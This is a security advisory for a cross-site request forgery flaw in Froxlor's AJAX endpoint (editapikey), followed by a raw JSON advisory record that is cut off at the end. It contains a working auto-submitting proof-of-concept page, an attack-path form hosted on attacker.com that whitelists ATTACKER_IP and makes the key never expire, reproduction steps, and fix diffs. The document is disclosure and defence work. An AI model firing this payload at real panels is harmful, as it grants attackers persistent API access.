GHSA-XPR4-8VP6-C87J
Vulnerability from github – Published: 2026-08-18 20:48 – Updated: 2026-08-18 20:48Summary
The Froxlor AJAX endpoint (lib/ajax.php) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (lib/init.php) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone lib/ajax.php endpoint bypasses this mechanism entirely, validating only the user's session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker's IP to the allowed_from whitelist or extending the valid_until expiration).
Affected Component
- File:
lib/ajax.php— the AJAX endpoint entry point (bypasseslib/init.php) - File:
lib/Froxlor/Ajax/Ajax.php:66-92—Ajax::handle()(no CSRF check before routing) - File:
lib/Froxlor/Ajax/Ajax.php:257-315—Ajax::editApiKey()(writes to database without CSRF check) - Version: Froxlor 2.3.7 (likely all prior 2.x versions)
Complete Call Chain: Entry Point → Vulnerable Code
Step 1: Entry Point — lib/ajax.php (standalone bootstrap, bypasses lib/init.php)
// lib/ajax.php:26-47
namespace Froxlor;
use Froxlor\Ajax\Ajax;
require_once dirname(__DIR__) . '/vendor/autoload.php';
require_once dirname(__DIR__) . '/lib/userdata.inc.php';
require_once dirname(__DIR__) . '/lib/functions.php';
require_once dirname(__DIR__) . '/lib/tables.inc.php';
// CRITICAL: This file does NOT include lib/init.php
// Therefore: NO CSRF token is checked before processing the request
echo (new Ajax)->handle();
Contrast with normal flow: All admin/customer pages (e.g., admin_customers.php, customer_domains.php) do:
const AREA = 'admin';
require __DIR__ . '/lib/init.php'; // <-- This enforces CSRF at lines 363-369
Step 2: Ajax Constructor — Session Created, No CSRF Check
// lib/Froxlor/Ajax/Ajax.php:54-61
public function __construct()
{
$this->action = Request::any('action'); // <-- User-controlled from GET/POST
$this->theme = Request::any('theme', 'Froxlor');
UI::sendHeaders(); // Starts session, sets security headers
UI::sendSslHeaders(); // HSTS headers
// MISSING: CSRF token validation on POST/PUT/PATCH/DELETE
}
Step 3: Ajax::handle() — Session Validation Only, Routes to Action
// lib/Froxlor/Ajax/Ajax.php:66-92
public function handle()
{
$this->userinfo = $this->getValidatedSession(); // Only checks: isset($_SESSION['userinfo'])
// MISSING: CSRF token validation before routing
// Comparison: init.php lines 363-369 WOULD check here:
// if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {
// $current_token = Request::post('csrf_token', ...);
// if ($current_token != CurrentUser::getField('csrf_token')) { ERROR; }
// }
switch ($this->action) {
case 'editapikey':
return $this->editApiKey(); // <-- State-changing operation, no CSRF guard
case 'updatetablelisting':
return $this->updateTablelisting(); // <-- Also POST, also no CSRF
// ... other cases
}
}
Step 4: getValidatedSession() — Only Checks Session Exists
// lib/Froxlor/Ajax/Ajax.php:97-103
private function getValidatedSession(): array
{
if (CurrentUser::hasSession() == false) {
throw new Exception("No valid session");
}
return CurrentUser::getData();
// hasSession() implementation (CurrentUser.php:47-50):
// return !empty($_SESSION) && !empty($_SESSION['userinfo']);
// This ONLY verifies a session exists.
// It does NOT verify the request origin or CSRF token.
}
Step 5: editApiKey() — Database Mutation Without Origin Validation
// lib/Froxlor/Ajax/Ajax.php:257-315
private function editApiKey()
{
// All three parameters come from attacker-controlled POST body:
$keyid = Request::post('id', 0); // Source: $_POST['id']
$allowed_from = Request::post('allowed_from', ""); // Source: $_POST['allowed_from']
$valid_until = Request::post('valid_until', ""); // Source: $_POST['valid_until']
// ... IP format validation (not security-relevant for CSRF) ...
// SINK: Direct database mutation
$upd_stmt = Database::prepare("
UPDATE `api_keys` SET
`valid_until` = :vu, `allowed_from` = :af
WHERE `id` = :keyid AND `adminid` = :aid AND `customerid` = :cid
");
Database::pexecute($upd_stmt, [
'keyid' => $keyid,
'af' => $allowed_from, // Attacker's IP written here
'vu' => $valid_until_db, // -1 = never expires
'aid' => $this->userinfo['adminid'],
'cid' => $cid
]);
return $this->jsonResponse(['allowed_from' => $allowed_from, 'valid_until' => $valid_until]);
}
Step 6: Evidence from Legitimate Frontend — No CSRF Token Sent Even in Normal Usage
// templates/Froxlor/assets/js/jquery/apikeys.js:9-17
// Even the legitimate frontend does NOT send a csrf_token:
$.ajax({
url: "lib/ajax.php?action=editapikey",
type: "POST",
dataType: "json",
data: {
id: akid,
allowed_from: _this.val(),
valid_until: $('div[data-entry="' + akid + '"] #valid_until').val()
// NOTE: No csrf_token field here — the backend doesn't require it
},
// ...
});
This confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one.
CSRF Protection Gap: Side-by-Side Comparison
| Aspect | lib/init.php (Normal Pages) |
lib/ajax.php (AJAX Endpoint) |
|---|---|---|
| Includes init.php | Yes (all admin_.php, customer_.php) | No — standalone bootstrap |
| Session validation | ✅ CurrentUser::hasSession() |
✅ CurrentUser::hasSession() |
| CSRF token generation | ✅ Froxlor::genSessionId(20) |
❌ Not generated |
| CSRF token check (POST/PUT/PATCH/DELETE) | ✅ Lines 363-369 | ❌ Missing entirely |
| Rate limiting | ✅ RateLimiter::run() |
❌ Not called |
| Area enforcement | ✅ Admin/Customer area check | ❌ Not enforced |
Vulnerability Verification
Attack Path (Complete)
[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html
<form id="csrf" action="https://froxlor.example.com/lib/ajax.php?action=editapikey"
method="POST">
<input type="hidden" name="id" value="1">
<input type="hidden" name="allowed_from" value="ATTACKER_IP">
<input type="hidden" name="valid_until" value="-1">
</form>
<script>document.getElementById('csrf').submit();</script>
│
▼
[Victim] Froxlor administrator browses to https://attacker.com/csrf.html
- Victim has an active session at https://froxlor.example.com
- Session cookie: PHPSESSID=<valid>, SameSite=Lax
│
▼
[Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey
- Cookie behavior depends on SameSite policy (see below)
│
▼
[Server: lib/ajax.php]
→ require userdata.inc.php, functions.php, tables.inc.php
→ (new Ajax)->handle()
│
▼
[Server: Ajax::__construct()] (Ajax.php:54-61)
→ $this->action = 'editapikey' (from GET query string)
→ UI::sendHeaders() → session_start()
→ NO CSRF CHECK
│
▼
[Server: Ajax::handle()] (Ajax.php:66-68)
→ getValidatedSession() → CurrentUser::hasSession() → TRUE
(session cookie was sent with request)
→ NO CSRF CHECK before routing
│
▼
[Server: Ajax::editApiKey()] (Ajax.php:257-315)
→ $keyid = 1 (from POST)
→ $allowed_from = 'ATTACKER_IP' (from POST)
→ $valid_until_db = -1 (from POST, parsed)
→ UPDATE api_keys SET allowed_from='ATTACKER_IP', valid_until=-1 WHERE id=1
│
▼
[Impact] API key #1 now allows connections from ATTACKER_IP, never expires
SameSite=Lax Analysis
Froxlor sets session cookie with SameSite=Lax (UI.php:124):
// lib/Froxlor/UI/Panel/UI.php:118-125
session_set_cookie_params([
'path' => '/',
'domain' => self::getCookieHost(),
'secure' => self::requestIsHttps(), // FALSE on HTTP deployments
'httponly' => true,
'samesite' => 'Lax'
]);
session_start();
Why SameSite=Lax is NOT a complete mitigation:
-
HTTP deployments: When
requestIsHttps()returns false (plain HTTP), thesecureflag is false. Many browsers (particularly older Safari and Firefox) requireSecurefor strict SameSite enforcement. Froxlor's own documentation supports HTTP deployment for internal networks, making this a realistic scenario. -
Safari browser: Safari's SameSite implementation has known inconsistencies. Safari 13-15 on iOS/macOS may not enforce SameSite=Lax on POST requests as strictly as Chrome.
-
Same-site subdomain attacks: If an attacker compromises a subdomain of the same registrable domain (e.g., via DNS rebinding or subdomain takeover), SameSite=Lax provides zero protection — cookies are sent freely.
-
Defense-in-depth failure: CSRF tokens are the primary, proven defense against CSRF. SameSite cookies are a secondary defense. The absence of the primary defense leaves the application vulnerable whenever the secondary defense fails (browser bugs, HTTP deployments, subdomain attacks).
Confirmed Vulnerable Actions in Ajax::handle()
All POST-based actions in the switch statement lack CSRF protection:
| Action | Method | State Change | Risk |
|---|---|---|---|
editapikey |
POST | UPDATE api_keys SET allowed_from, valid_until |
HIGH |
updatetablelisting |
POST | UPDATE panel_usercolumns (user preferences) |
Low |
getConfigDetails |
POST | Read-only (config parsing) | None |
Impact
- Confidentiality: None — the attacker cannot directly read data through this CSRF vector
- Integrity: Medium — API key properties (
allowed_from,valid_until) can be modified to add the attacker's IP to the whitelist and extend validity indefinitely. This is a stepping stone to API access (combined with another attack to obtain the API secret, such as VULN-20260526-001 plaintext secret storage). - Availability: Low — the attacker could set
valid_untilto a past timestamp, disabling the API key
Worst-case scenario: An administrator-level API key has its allowed_from expanded to include the attacker's IP and its valid_until set to -1 (never expires). If the attacker later obtains the plaintext API secret (e.g., via database backup exposure — see VULN-20260526-001), they gain persistent, unauthorized API access with administrator privileges.
Proof of Concept
PoC HTML File
<!-- csrf_poc.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC - Froxlor AJAX Endpoint</title>
</head>
<body>
<h1>Cross-Site Request Forgery Proof of Concept</h1>
<p>Target: Froxlor AJAX endpoint (lib/ajax.php?action=editapikey)</p>
<p>If you see this page, the form has auto-submitted.</p>
<!-- This form auto-submits to modify API key properties -->
<form id="csrf-form"
action="http://froxlor.example.com/lib/ajax.php?action=editapikey"
method="POST">
<input type="hidden" name="id" value="1">
<input type="hidden" name="allowed_from" value="10.99.99.99">
<input type="hidden" name="valid_until" value="">
<!-- empty valid_until = -1 (never expires) -->
</form>
<script>
// Auto-submit on page load
document.addEventListener('DOMContentLoaded', function() {
document.getElementById('csrf-form').submit();
});
</script>
</body>
</html>
Reproduction Steps
- Setup:
- Deploy Froxlor 2.3.7 on a test server (e.g.,
http://192.168.1.100/) - Create an administrator account and log in
-
Create at least one API key (Settings → API Keys)
-
Prepare PoC:
- Host the PoC HTML file on a different origin (e.g.,
http://attacker.local/csrf_poc.html) -
Note the Froxlor server is on
http://(not HTTPS, common for internal deployments) -
Execute:
- Ensure the Froxlor administrator has an active session
- Open the PoC HTML file in the same browser (different tab)
-
The form auto-submits
-
Verify:
- Check the API key in the Froxlor admin panel
- The
allowed_fromfield now contains10.99.99.99 - The
valid_untilfield shows no expiration - Or verify directly:
SELECT id, allowed_from, valid_until FROM api_keys WHERE id=1;
Expected Result
Before attack:
id | allowed_from | valid_until
1 | | 1735689600
After attack:
id | allowed_from | valid_until
1 | 10.99.99.99 | -1
Root Cause
The lib/ajax.php endpoint was implemented as a completely standalone entry point that initializes its own minimal environment. It does not include lib/init.php, which provides centralized security controls (CSRF validation, rate limiting, area enforcement) for all standard admin and customer pages.
Architecturally, there are two security enforcement paths:
1. Normal pages: admin_*.php → require lib/init.php → CSRF check ✅
2. AJAX endpoint: lib/ajax.php → new Ajax()->handle() → CSRF check ❌
The Ajax class performs its own session validation (getValidatedSession()) but omits CSRF token verification entirely. The legitimate frontend JavaScript code (apikeys.js) also does not send a CSRF token because the backend does not require one.
Fix Recommendation
Option A (Recommended): Route AJAX Through init.php
Refactor lib/ajax.php to use the standard bootstrap, ensuring all security controls apply uniformly:
// lib/ajax.php — Refactored
const AREA = 'ajax';
require __DIR__ . '/init.php';
use Froxlor\Ajax\Ajax;
try {
echo (new Ajax)->handle();
} catch (Exception $e) {
header("Content-Type: application/json");
echo \Froxlor\Api\Response::jsonErrorResponse($e->getMessage(), 500);
}
Pros: All security controls (CSRF, rate limiting, session management, area enforcement) apply uniformly. No code duplication. Cons: Requires frontend changes to include CSRF token in AJAX requests.
Option B (Minimal): Add CSRF Check to Ajax Class
Add CSRF token validation directly in the Ajax class:
// lib/Froxlor/Ajax/Ajax.php
public function handle()
{
$this->userinfo = $this->getValidatedSession();
+ // CSRF Protection — mirror init.php:363-369
+ if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {
+ $token_from_request = Request::post('csrf_token',
+ $_SERVER['HTTP_X_CSRF_TOKEN'] ?? null);
+ $stored_token = $this->userinfo['csrf_token'] ?? '';
+ if (empty($token_from_request) || !hash_equals($stored_token, $token_from_request)) {
+ return $this->errorResponse('CSRF validation failed', 403);
+ }
+ }
switch ($this->action) {
// ... existing cases unchanged
}
}
Frontend changes required (for both options):
// templates/Froxlor/assets/js/jquery/apikeys.js
$.ajax({
url: "lib/ajax.php?action=editapikey",
type: "POST",
dataType: "json",
data: {
id: akid,
allowed_from: _this.val(),
valid_until: $('div[data-entry="' + akid + '"] #valid_until').val(),
+ csrf_token: $('meta[name="csrf-token"]').attr('content')
},
// ...
});
CSRF Token Available in Twig Templates
The CSRF token is already available as a Twig global variable ({{ csrf_token }}) set in init.php:361. Templates can expose it via:
<meta name="csrf-token" content="{{ csrf_token }}">
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.3.7"
},
"package": {
"ecosystem": "Packagist",
"name": "froxlor/froxlor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55593"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T20:48:30Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe Froxlor AJAX endpoint (`lib/ajax.php`) is missing Cross-Site Request Forgery (CSRF) protection. While the main application (`lib/init.php`) enforces CSRF token validation on all state-changing HTTP requests (POST/PUT/PATCH/DELETE), the standalone `lib/ajax.php` endpoint bypasses this mechanism entirely, validating only the user\u0027s session. An attacker can craft a malicious webpage that, when visited by an authenticated Froxlor administrator, silently modifies API key properties (e.g., adding the attacker\u0027s IP to the `allowed_from` whitelist or extending the `valid_until` expiration).\n\n---\n\n## Affected Component\n\n- **File:** `lib/ajax.php` \u2014 the AJAX endpoint entry point (bypasses `lib/init.php`)\n- **File:** `lib/Froxlor/Ajax/Ajax.php:66-92` \u2014 `Ajax::handle()` (no CSRF check before routing)\n- **File:** `lib/Froxlor/Ajax/Ajax.php:257-315` \u2014 `Ajax::editApiKey()` (writes to database without CSRF check)\n- **Version:** Froxlor 2.3.7 (likely all prior 2.x versions)\n\n---\n\n## Complete Call Chain: Entry Point \u2192 Vulnerable Code\n\n### Step 1: Entry Point \u2014 `lib/ajax.php` (standalone bootstrap, bypasses `lib/init.php`)\n\n```php\n// lib/ajax.php:26-47\nnamespace Froxlor;\n\nuse Froxlor\\Ajax\\Ajax;\n\nrequire_once dirname(__DIR__) . \u0027/vendor/autoload.php\u0027;\nrequire_once dirname(__DIR__) . \u0027/lib/userdata.inc.php\u0027;\nrequire_once dirname(__DIR__) . \u0027/lib/functions.php\u0027;\nrequire_once dirname(__DIR__) . \u0027/lib/tables.inc.php\u0027;\n\n// CRITICAL: This file does NOT include lib/init.php\n// Therefore: NO CSRF token is checked before processing the request\necho (new Ajax)-\u003ehandle();\n```\n\n**Contrast with normal flow:** All admin/customer pages (e.g., `admin_customers.php`, `customer_domains.php`) do:\n```php\nconst AREA = \u0027admin\u0027;\nrequire __DIR__ . \u0027/lib/init.php\u0027; // \u003c-- This enforces CSRF at lines 363-369\n```\n\n### Step 2: Ajax Constructor \u2014 Session Created, No CSRF Check\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:54-61\npublic function __construct()\n{\n $this-\u003eaction = Request::any(\u0027action\u0027); // \u003c-- User-controlled from GET/POST\n $this-\u003etheme = Request::any(\u0027theme\u0027, \u0027Froxlor\u0027);\n\n UI::sendHeaders(); // Starts session, sets security headers\n UI::sendSslHeaders(); // HSTS headers\n // MISSING: CSRF token validation on POST/PUT/PATCH/DELETE\n}\n```\n\n### Step 3: Ajax::handle() \u2014 Session Validation Only, Routes to Action\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:66-92\npublic function handle()\n{\n $this-\u003euserinfo = $this-\u003egetValidatedSession(); // Only checks: isset($_SESSION[\u0027userinfo\u0027])\n // MISSING: CSRF token validation before routing\n // Comparison: init.php lines 363-369 WOULD check here:\n // if (in_array($_SERVER[\u0027REQUEST_METHOD\u0027], [\u0027POST\u0027, \u0027PUT\u0027, \u0027PATCH\u0027, \u0027DELETE\u0027])) {\n // $current_token = Request::post(\u0027csrf_token\u0027, ...);\n // if ($current_token != CurrentUser::getField(\u0027csrf_token\u0027)) { ERROR; }\n // }\n\n switch ($this-\u003eaction) {\n case \u0027editapikey\u0027:\n return $this-\u003eeditApiKey(); // \u003c-- State-changing operation, no CSRF guard\n case \u0027updatetablelisting\u0027:\n return $this-\u003eupdateTablelisting(); // \u003c-- Also POST, also no CSRF\n // ... other cases\n }\n}\n```\n\n### Step 4: getValidatedSession() \u2014 Only Checks Session Exists\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:97-103\nprivate function getValidatedSession(): array\n{\n if (CurrentUser::hasSession() == false) {\n throw new Exception(\"No valid session\");\n }\n return CurrentUser::getData();\n // hasSession() implementation (CurrentUser.php:47-50):\n // return !empty($_SESSION) \u0026\u0026 !empty($_SESSION[\u0027userinfo\u0027]);\n // This ONLY verifies a session exists.\n // It does NOT verify the request origin or CSRF token.\n}\n```\n\n### Step 5: editApiKey() \u2014 Database Mutation Without Origin Validation\n\n```php\n// lib/Froxlor/Ajax/Ajax.php:257-315\nprivate function editApiKey()\n{\n // All three parameters come from attacker-controlled POST body:\n $keyid = Request::post(\u0027id\u0027, 0); // Source: $_POST[\u0027id\u0027]\n $allowed_from = Request::post(\u0027allowed_from\u0027, \"\"); // Source: $_POST[\u0027allowed_from\u0027]\n $valid_until = Request::post(\u0027valid_until\u0027, \"\"); // Source: $_POST[\u0027valid_until\u0027]\n\n // ... IP format validation (not security-relevant for CSRF) ...\n\n // SINK: Direct database mutation\n $upd_stmt = Database::prepare(\"\n UPDATE `api_keys` SET\n `valid_until` = :vu, `allowed_from` = :af\n WHERE `id` = :keyid AND `adminid` = :aid AND `customerid` = :cid\n \");\n Database::pexecute($upd_stmt, [\n \u0027keyid\u0027 =\u003e $keyid,\n \u0027af\u0027 =\u003e $allowed_from, // Attacker\u0027s IP written here\n \u0027vu\u0027 =\u003e $valid_until_db, // -1 = never expires\n \u0027aid\u0027 =\u003e $this-\u003euserinfo[\u0027adminid\u0027],\n \u0027cid\u0027 =\u003e $cid\n ]);\n return $this-\u003ejsonResponse([\u0027allowed_from\u0027 =\u003e $allowed_from, \u0027valid_until\u0027 =\u003e $valid_until]);\n}\n```\n\n### Step 6: Evidence from Legitimate Frontend \u2014 No CSRF Token Sent Even in Normal Usage\n\n```javascript\n// templates/Froxlor/assets/js/jquery/apikeys.js:9-17\n// Even the legitimate frontend does NOT send a csrf_token:\n$.ajax({\n url: \"lib/ajax.php?action=editapikey\",\n type: \"POST\",\n dataType: \"json\",\n data: {\n id: akid,\n allowed_from: _this.val(),\n valid_until: $(\u0027div[data-entry=\"\u0027 + akid + \u0027\"] #valid_until\u0027).val()\n // NOTE: No csrf_token field here \u2014 the backend doesn\u0027t require it\n },\n // ...\n});\n```\n\nThis confirms: the backend does not validate CSRF tokens, so the frontend code does not bother sending one.\n\n---\n\n## CSRF Protection Gap: Side-by-Side Comparison\n\n| Aspect | `lib/init.php` (Normal Pages) | `lib/ajax.php` (AJAX Endpoint) |\n|--------|------------------------------|-------------------------------|\n| **Includes init.php** | Yes (all admin_*.php, customer_*.php) | **No** \u2014 standalone bootstrap |\n| **Session validation** | \u2705 `CurrentUser::hasSession()` | \u2705 `CurrentUser::hasSession()` |\n| **CSRF token generation** | \u2705 `Froxlor::genSessionId(20)` | \u274c Not generated |\n| **CSRF token check (POST/PUT/PATCH/DELETE)** | \u2705 Lines 363-369 | **\u274c Missing entirely** |\n| **Rate limiting** | \u2705 `RateLimiter::run()` | \u274c Not called |\n| **Area enforcement** | \u2705 Admin/Customer area check | \u274c Not enforced |\n\n---\n\n## Vulnerability Verification\n\n### Attack Path (Complete)\n\n```\n[Attacker] Hosts malicious HTML page at https://attacker.com/csrf.html\n\n \u003cform id=\"csrf\" action=\"https://froxlor.example.com/lib/ajax.php?action=editapikey\"\n method=\"POST\"\u003e\n \u003cinput type=\"hidden\" name=\"id\" value=\"1\"\u003e\n \u003cinput type=\"hidden\" name=\"allowed_from\" value=\"ATTACKER_IP\"\u003e\n \u003cinput type=\"hidden\" name=\"valid_until\" value=\"-1\"\u003e\n \u003c/form\u003e\n \u003cscript\u003edocument.getElementById(\u0027csrf\u0027).submit();\u003c/script\u003e\n\n \u2502\n \u25bc\n[Victim] Froxlor administrator browses to https://attacker.com/csrf.html\n - Victim has an active session at https://froxlor.example.com\n - Session cookie: PHPSESSID=\u003cvalid\u003e, SameSite=Lax\n \u2502\n \u25bc\n[Browser] Auto-submits POST to https://froxlor.example.com/lib/ajax.php?action=editapikey\n - Cookie behavior depends on SameSite policy (see below)\n \u2502\n \u25bc\n[Server: lib/ajax.php]\n \u2192 require userdata.inc.php, functions.php, tables.inc.php\n \u2192 (new Ajax)-\u003ehandle()\n \u2502\n \u25bc\n[Server: Ajax::__construct()] (Ajax.php:54-61)\n \u2192 $this-\u003eaction = \u0027editapikey\u0027 (from GET query string)\n \u2192 UI::sendHeaders() \u2192 session_start()\n \u2192 NO CSRF CHECK\n \u2502\n \u25bc\n[Server: Ajax::handle()] (Ajax.php:66-68)\n \u2192 getValidatedSession() \u2192 CurrentUser::hasSession() \u2192 TRUE\n (session cookie was sent with request)\n \u2192 NO CSRF CHECK before routing\n \u2502\n \u25bc\n[Server: Ajax::editApiKey()] (Ajax.php:257-315)\n \u2192 $keyid = 1 (from POST)\n \u2192 $allowed_from = \u0027ATTACKER_IP\u0027 (from POST)\n \u2192 $valid_until_db = -1 (from POST, parsed)\n \u2192 UPDATE api_keys SET allowed_from=\u0027ATTACKER_IP\u0027, valid_until=-1 WHERE id=1\n \u2502\n \u25bc\n[Impact] API key #1 now allows connections from ATTACKER_IP, never expires\n```\n\n### SameSite=Lax Analysis\n\nFroxlor sets session cookie with `SameSite=Lax` (UI.php:124):\n\n```php\n// lib/Froxlor/UI/Panel/UI.php:118-125\nsession_set_cookie_params([\n \u0027path\u0027 =\u003e \u0027/\u0027,\n \u0027domain\u0027 =\u003e self::getCookieHost(),\n \u0027secure\u0027 =\u003e self::requestIsHttps(), // FALSE on HTTP deployments\n \u0027httponly\u0027 =\u003e true,\n \u0027samesite\u0027 =\u003e \u0027Lax\u0027\n]);\nsession_start();\n```\n\n**Why SameSite=Lax is NOT a complete mitigation:**\n\n1. **HTTP deployments:** When `requestIsHttps()` returns false (plain HTTP), the `secure` flag is false. Many browsers (particularly older Safari and Firefox) require `Secure` for strict SameSite enforcement. Froxlor\u0027s own documentation supports HTTP deployment for internal networks, making this a realistic scenario.\n\n2. **Safari browser:** Safari\u0027s SameSite implementation has known inconsistencies. Safari 13-15 on iOS/macOS may not enforce SameSite=Lax on POST requests as strictly as Chrome.\n\n3. **Same-site subdomain attacks:** If an attacker compromises a subdomain of the same registrable domain (e.g., via DNS rebinding or subdomain takeover), SameSite=Lax provides zero protection \u2014 cookies are sent freely.\n\n4. **Defense-in-depth failure:** CSRF tokens are the primary, proven defense against CSRF. SameSite cookies are a secondary defense. The absence of the primary defense leaves the application vulnerable whenever the secondary defense fails (browser bugs, HTTP deployments, subdomain attacks).\n\n### Confirmed Vulnerable Actions in Ajax::handle()\n\nAll POST-based actions in the switch statement lack CSRF protection:\n\n| Action | Method | State Change | Risk |\n|--------|--------|-------------|------|\n| `editapikey` | POST | UPDATE `api_keys` SET allowed_from, valid_until | **HIGH** |\n| `updatetablelisting` | POST | UPDATE `panel_usercolumns` (user preferences) | Low |\n| `getConfigDetails` | POST | Read-only (config parsing) | None |\n\n---\n\n## Impact\n\n- **Confidentiality:** None \u2014 the attacker cannot directly read data through this CSRF vector\n- **Integrity:** Medium \u2014 API key properties (`allowed_from`, `valid_until`) can be modified to add the attacker\u0027s IP to the whitelist and extend validity indefinitely. This is a stepping stone to API access (combined with another attack to obtain the API secret, such as VULN-20260526-001 plaintext secret storage).\n- **Availability:** Low \u2014 the attacker could set `valid_until` to a past timestamp, disabling the API key\n\n**Worst-case scenario:** An administrator-level API key has its `allowed_from` expanded to include the attacker\u0027s IP and its `valid_until` set to `-1` (never expires). If the attacker later obtains the plaintext API secret (e.g., via database backup exposure \u2014 see VULN-20260526-001), they gain persistent, unauthorized API access with administrator privileges.\n\n---\n\n## Proof of Concept\n\n### PoC HTML File\n\n```html\n\u003c!-- csrf_poc.html --\u003e\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n \u003cmeta charset=\"UTF-8\"\u003e\n \u003ctitle\u003eCSRF PoC - Froxlor AJAX Endpoint\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n \u003ch1\u003eCross-Site Request Forgery Proof of Concept\u003c/h1\u003e\n \u003cp\u003eTarget: Froxlor AJAX endpoint (lib/ajax.php?action=editapikey)\u003c/p\u003e\n \u003cp\u003eIf you see this page, the form has auto-submitted.\u003c/p\u003e\n\n \u003c!-- This form auto-submits to modify API key properties --\u003e\n \u003cform id=\"csrf-form\"\n action=\"http://froxlor.example.com/lib/ajax.php?action=editapikey\"\n method=\"POST\"\u003e\n \u003cinput type=\"hidden\" name=\"id\" value=\"1\"\u003e\n \u003cinput type=\"hidden\" name=\"allowed_from\" value=\"10.99.99.99\"\u003e\n \u003cinput type=\"hidden\" name=\"valid_until\" value=\"\"\u003e\n \u003c!-- empty valid_until = -1 (never expires) --\u003e\n \u003c/form\u003e\n\n \u003cscript\u003e\n // Auto-submit on page load\n document.addEventListener(\u0027DOMContentLoaded\u0027, function() {\n document.getElementById(\u0027csrf-form\u0027).submit();\n });\n \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Reproduction Steps\n\n1. **Setup:**\n - Deploy Froxlor 2.3.7 on a test server (e.g., `http://192.168.1.100/`)\n - Create an administrator account and log in\n - Create at least one API key (Settings \u2192 API Keys)\n\n2. **Prepare PoC:**\n - Host the PoC HTML file on a different origin (e.g., `http://attacker.local/csrf_poc.html`)\n - Note the Froxlor server is on `http://` (not HTTPS, common for internal deployments)\n\n3. **Execute:**\n - Ensure the Froxlor administrator has an active session\n - Open the PoC HTML file in the **same browser** (different tab)\n - The form auto-submits\n\n4. **Verify:**\n - Check the API key in the Froxlor admin panel\n - The `allowed_from` field now contains `10.99.99.99`\n - The `valid_until` field shows no expiration\n - Or verify directly: `SELECT id, allowed_from, valid_until FROM api_keys WHERE id=1;`\n\n### Expected Result\n\nBefore attack:\n```\nid | allowed_from | valid_until\n1 | | 1735689600\n```\n\nAfter attack:\n```\nid | allowed_from | valid_until\n1 | 10.99.99.99 | -1\n```\n\n---\n\n## Root Cause\n\nThe `lib/ajax.php` endpoint was implemented as a completely standalone entry point that initializes its own minimal environment. It does not include `lib/init.php`, which provides centralized security controls (CSRF validation, rate limiting, area enforcement) for all standard admin and customer pages.\n\nArchitecturally, there are two security enforcement paths:\n1. **Normal pages:** `admin_*.php` \u2192 `require lib/init.php` \u2192 CSRF check \u2705\n2. **AJAX endpoint:** `lib/ajax.php` \u2192 `new Ajax()-\u003ehandle()` \u2192 CSRF check \u274c\n\nThe `Ajax` class performs its own session validation (`getValidatedSession()`) but omits CSRF token verification entirely. The legitimate frontend JavaScript code (`apikeys.js`) also does not send a CSRF token because the backend does not require one.\n\n---\n\n## Fix Recommendation\n\n### Option A (Recommended): Route AJAX Through init.php\n\nRefactor `lib/ajax.php` to use the standard bootstrap, ensuring all security controls apply uniformly:\n\n```php\n// lib/ajax.php \u2014 Refactored\nconst AREA = \u0027ajax\u0027;\nrequire __DIR__ . \u0027/init.php\u0027;\n\nuse Froxlor\\Ajax\\Ajax;\n\ntry {\n echo (new Ajax)-\u003ehandle();\n} catch (Exception $e) {\n header(\"Content-Type: application/json\");\n echo \\Froxlor\\Api\\Response::jsonErrorResponse($e-\u003egetMessage(), 500);\n}\n```\n\n**Pros:** All security controls (CSRF, rate limiting, session management, area enforcement) apply uniformly. No code duplication.\n**Cons:** Requires frontend changes to include CSRF token in AJAX requests.\n\n### Option B (Minimal): Add CSRF Check to Ajax Class\n\nAdd CSRF token validation directly in the `Ajax` class:\n\n```diff\n// lib/Froxlor/Ajax/Ajax.php\n\npublic function handle()\n{\n $this-\u003euserinfo = $this-\u003egetValidatedSession();\n\n+ // CSRF Protection \u2014 mirror init.php:363-369\n+ if (in_array($_SERVER[\u0027REQUEST_METHOD\u0027], [\u0027POST\u0027, \u0027PUT\u0027, \u0027PATCH\u0027, \u0027DELETE\u0027])) {\n+ $token_from_request = Request::post(\u0027csrf_token\u0027,\n+ $_SERVER[\u0027HTTP_X_CSRF_TOKEN\u0027] ?? null);\n+ $stored_token = $this-\u003euserinfo[\u0027csrf_token\u0027] ?? \u0027\u0027;\n+ if (empty($token_from_request) || !hash_equals($stored_token, $token_from_request)) {\n+ return $this-\u003eerrorResponse(\u0027CSRF validation failed\u0027, 403);\n+ }\n+ }\n\n switch ($this-\u003eaction) {\n // ... existing cases unchanged\n }\n}\n```\n\n**Frontend changes required (for both options):**\n\n```diff\n// templates/Froxlor/assets/js/jquery/apikeys.js\n$.ajax({\n url: \"lib/ajax.php?action=editapikey\",\n type: \"POST\",\n dataType: \"json\",\n data: {\n id: akid,\n allowed_from: _this.val(),\n valid_until: $(\u0027div[data-entry=\"\u0027 + akid + \u0027\"] #valid_until\u0027).val(),\n+ csrf_token: $(\u0027meta[name=\"csrf-token\"]\u0027).attr(\u0027content\u0027)\n },\n // ...\n});\n```\n\n### CSRF Token Available in Twig Templates\n\nThe CSRF token is already available as a Twig global variable (`{{ csrf_token }}`) set in `init.php:361`. Templates can expose it via:\n\n```html\n\u003cmeta name=\"csrf-token\" content=\"{{ csrf_token }}\"\u003e\n```\n\n---",
"id": "GHSA-xpr4-8vp6-c87j",
